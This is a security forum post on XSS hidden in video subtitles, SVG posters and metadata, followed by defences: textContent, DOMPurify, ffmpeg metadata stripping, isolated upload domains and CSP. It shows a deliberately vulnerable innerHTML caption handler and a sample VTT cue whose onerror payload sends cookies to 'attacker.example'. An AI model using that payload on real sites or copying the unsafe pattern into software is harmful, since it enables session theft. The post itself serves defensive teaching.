XSS via Video Files

x32x01
  • by x32x01 ||
Beware: XSS in Video Files - How attackers hide scripts in subtitles, posters & metadata 🎬⚠️
Video files can be more than just media - they can carry XSS payloads. Attackers hide executable content in subtitles (VTT/SRT), SVG posters, or metadata fields. If your player or backend treats that content as HTML, you can end up executing attacker-controlled code in users’ browsers. Below is a clear explanation, a simple demo of a vulnerable pattern, and a practical defence checklist. Read, patch, and share - stay safe! 🔒🛡️

What happens​

Subtitles (WebVTT / SRT) or poster images (SVG) often contain text/markup.
Some players or custom JS insert those strings using innerHTML (or unsafe DOM APIs).
If that content contains HTML/JS (e.g., <img onerror=...> or <script>) it runs in the page context → XSS.

Common attack vectors
1. WebVTT / SRT captions - cue text interpreted as HTML by buggy renderers.
2. SVG posters - SVG supports scripts and on* handlers.
3. MP4/metadata fields - apps that parse and display metadata (title/artist) without sanitizing.
4. Player plugins / custom UI - using innerHTML to render captions, titles, or file info.

Minimal vulnerable example (unsafe JS)​

> Vulnerable pattern: using innerHTML for captions.
HTML:
<video id="player" controls>
  <track id="track" kind="subtitles" src="subs.vtt" srclang="en" default>
</video>
JavaScript:
<script>
  const track = document.getElementById('track');
  track.addEventListener('load', () => {
    const cues = track.track.cues;
    for (let i = 0; i < cues.length; i++) {
      // Unsafe: inserting cue text as HTML
      const el = document.createElement('div');
      el.innerHTML = cues[i].text; // ← DANGEROUS
      document.body.appendChild(el);
    }
  });
</script>
If subs.vtt contains something like:
00:00:00.000 --> 00:00:05.000
<img src=x onerror="fetch('https://attacker.example/steal?cookie='+document.cookie)">
that onerror executes in the victim's page.

Safer rendering (fix the bug)​

Always treat user / uploaded text as plain text. Use textContent or a sanitizer.
Safe client-side example:
Code:
// Safe: use textContent so HTML is not parsed
el.textContent = cues[i].text;
If you need limited formatting: sanitize with a trusted library (DOMPurify)
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(cues[i].text, {ALLOWED_TAGS: ['b','i','em','strong']});

Server-side hardening (must-haves)​

1. Validate MIME & extension server-side (use file signatures, not just filename).
2. Strip dangerous metadata (FFmpeg can remove metadata):
ffmpeg -i input.mp4 -c copy -map_metadata -1 output.mp4
3. Re-encode or transcode uploaded media to a known-safe container (optional but powerful).
4. Reject or sanitize subtitle/poster files before serving. Convert VTT/SRT into a safe internal representation, or remove HTML tags.
5. Scan uploads with antivirus / content scanners and inspect file for embedded SVG/HTML.

Architectural mitigations (isolation)​

Serve user uploads from a separate static domain/subdomain (e.g., user-uploads.example-cdn.com) - this prevents cookies/parent-origin access.
Set Access-Control-Allow-Origin and CORS carefully for upload-hosting buckets.
Use sandboxed iframes for untrusted viewers where appropriate.

HTTP headers & browser controls​

Content-Security-Policy (CSP): e.g.
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none';
(Tune according to app needs; CSP reduces impact of XSS.)
X-Content-Type-Options: nosniff - prevents MIME sniffing.
Referrer-Policy, X-Frame-Options/SAMEORIGIN - additional hardening.

Player & library hygiene​

Use well-maintained players (Video.js, Plyr) and keep them updated.
Prefer players that render captions using safe APIs.
Audit custom plugins/skins - those add risk.

Quick checklist (for your dev / ops team)​

[ ] Reject subtitle/poster files that contain HTML/SVG by default.
[ ] Sanitize captions server-side and client-side (DOMPurify).
[ ] Serve uploads from isolated domain + use restrictive CORS.
[ ] Strip metadata with ffmpeg before storing/serving.
[ ] Apply strong CSP and X-Content-Type-Options: nosniff.
[ ] Keep players & libraries updated; test with malicious payloads.
[ ] Monitor logs for suspicious requests & large numbers of upload attempts.

Video files can carry XSS via captions, SVG posters, or metadata. Never render untrusted media content as HTML. Sanitize, validate, isolate, and use CSP - and you'll close the usual attack paths. 🔐
 
Related Threads
x32x01
Replies
0
Views
672
x32x01
x32x01
x32x01
Replies
0
Views
85
x32x01
x32x01
x32x01
Replies
0
Views
793
x32x01
x32x01
x32x01
Replies
0
Views
910
x32x01
x32x01
x32x01
Replies
1
Views
255
x32x01
x32x01
x32x01
  • x32x01
Replies
0
Views
778
x32x01
x32x01
x32x01
  • x32x01
Replies
0
Views
761
x32x01
x32x01
x32x01
Replies
0
Views
901
x32x01
x32x01
x32x01
  • x32x01
Replies
0
Views
71
x32x01
x32x01
x32x01
Replies
0
Views
780
x32x01
x32x01
Register & Login Faster
Forgot your password?
Forum Statistics
Threads
640
Messages
645
Members
64
Latest Member
alialguelmi
Back
Top